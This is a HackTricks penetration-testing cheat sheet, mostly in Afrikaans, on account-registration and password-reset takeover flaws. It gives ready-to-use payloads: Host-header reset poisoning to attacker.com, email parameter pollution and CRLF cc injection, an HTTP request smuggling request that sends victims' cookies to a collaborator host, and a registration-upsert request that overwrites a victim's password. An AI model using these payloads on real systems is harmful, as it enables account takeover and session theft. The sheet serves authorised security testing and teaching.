Registrasie- en Oorname-kwesbaarhede
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Registrasie-oorname
Dubbele Registrasie
- Probeer om te registreer met 'n bestaande gebruikersnaam
- Kontroleer deur die e-pos te varieer:
- hoofletters
- +1@
- voeg 'n punt in die e-pos
- spesiale karakters in die e-pos naam (%00, %09, %20)
- Plaas leë karakters na die e-pos:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Gebruikersnaam-enumerasie
Kontroleer of jy kan bepaal wanneer 'n gebruikersnaam reeds in die toepassing geregistreer is.
Wagwoordbeleid
Wanneer 'n gebruiker geskep word, kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).
In daardie geval kan jy probeer om credentials te bruteforce.
SQL Injection
Check this page om te leer hoe om account takeovers te probeer of inligting te onttrek via SQL Injections in registrasievorms.
Oauth Takeovers
SAML Vulnerabilities
Verander e-pos
Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie verandering korrek gevalideer word of of jy dit na ewekansige e-posadresse kan verander.
Meer kontroles
- Kontroleer of jy wegwerp-e-posse kan gebruik
- Lang wagwoord (>200) lei tot DoS
- Kontroleer rate-limiete op rekeningskep
- Gebruik username@burp_collab.net en analiseer die callback
Wagwoordherstel-oorname
Wagwoordherstel Token Leak Via Referrer
- Versoek 'n wagwoordherstel na jou e-posadres
- Klik op die wagwoordherstel-skakel
- Moenie die wagwoord verander nie
- Klik op enige 3rd-party webwerwe (bv: Facebook, twitter)
- Onderbreek die versoek in Burp Suite proxy
- Kontroleer of die referer header die password reset token leak
Password Reset Poisoning
- Onderbreek die wagwoordherstel versoek in Burp Suite
- Voeg die volgende headers by of wysig in Burp Suite :
Host: attacker.com,X-Forwarded-Host: attacker.com - Stuur die versoek deur met die gewysigde header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com - Soek na 'n wagwoordherstel-URL gebaseer op die host header soos :
https://attacker.com/reset-password.php?token=TOKEN
Wagwoordherstel Via e-pos parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- Aanvaller moet by sy rekening aanmeld en na die Verander wagwoord-funksie gaan.
- Begin Burp Suite en onderskep die versoek
- Stuur dit na die repeater-oortjie en wysig die parameters: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
Die password reset token moet ewekansig gegenereer en elke keer uniek wees.
Probeer bepaal of die token verval of altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan geraai word. Die volgende veranderlikes kan deur die algoritme gebruik word.
- Tydstempel
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Slegs nommers
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
- Inspect the server response and check for
resetToken - Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Registreer op die stelsel met 'n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasies ingevoeg voor en/of na die gebruikersnaam. e.g:
"admin " - Vra 'n password reset aan met jou kwaadwillige gebruikersnaam.
- Gebruik die token wat na jou e-pos gestuur is en stel die slagoffer se wagwoord terug.
- Meld by die slagoffer se rekening aan met die nuwe wagwoord.
Die platform CTFd was kwesbaar vir hierdie aanval.
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Vind 'n XSS binne die toepassing of op 'n subdomein as die cookies beperk is tot die ouer-domein:
*.domain.com - Leak the current sessions cookie
- Meld as die gebruiker aan deur die cookie te gebruik
Account Takeover Via HTTP Request Smuggling
1. Gebruik smuggler om die tipe HTTP Request Smuggling te bepaal (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Skep 'n versoek wat die POST / HTTP/1.1 sal oorskryf met die volgende data:
GET http://something.burpcollaborator.net HTTP/1.1 X: met die doel om 'n open redirect die slagoffers na burpcollab te stuur en hul cookies te steel
3. Die finale versoek kan soos volg lyk
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone rapporteer die uitbuiting van hierdie bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Rekeningoorname via CSRF
- Skep 'n payload vir die CSRF, bv.: “HTML form with auto submit for a password change”
- Stuur die payload
Rekeningoorname via JWT
JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
- Wysig die JWT met 'n ander User ID / Email
- Kontroleer vir swak JWT-handtekening
JWT Vulnerabilities (Json Web Tokens)
Registrasie-as-Reset (Upsert on Existing Email)
Sommige signup handlers voer 'n upsert uit wanneer die verskafde email reeds bestaan. As die endpoint 'n minimale body met 'n email en password aanvaar en nie eienaarskapverifikasie afdwing nie, sal die stuur van die slagoffer se email hul password voor authentisering oorskryf.
- Ontdekking: oes endpointname uit gebundelde JS (of mobiele app-verkeer), en fuzz dan basispaaie soos /parents/application/v4/admin/FUZZ met ffuf/dirsearch.
- Metode-wenke: 'n GET wat boodskappe soos "Only POST request is allowed." teruggee, dui dikwels die korrekte verb aan en dat 'n JSON body verwag word.
- Minimale body waargeneem in die wild:
{"email":"victim@example.com","password":"New@12345"}
Voorbeeld PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impak: Full Account Takeover (ATO) sonder enige reset token, OTP, of email verification.
References
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks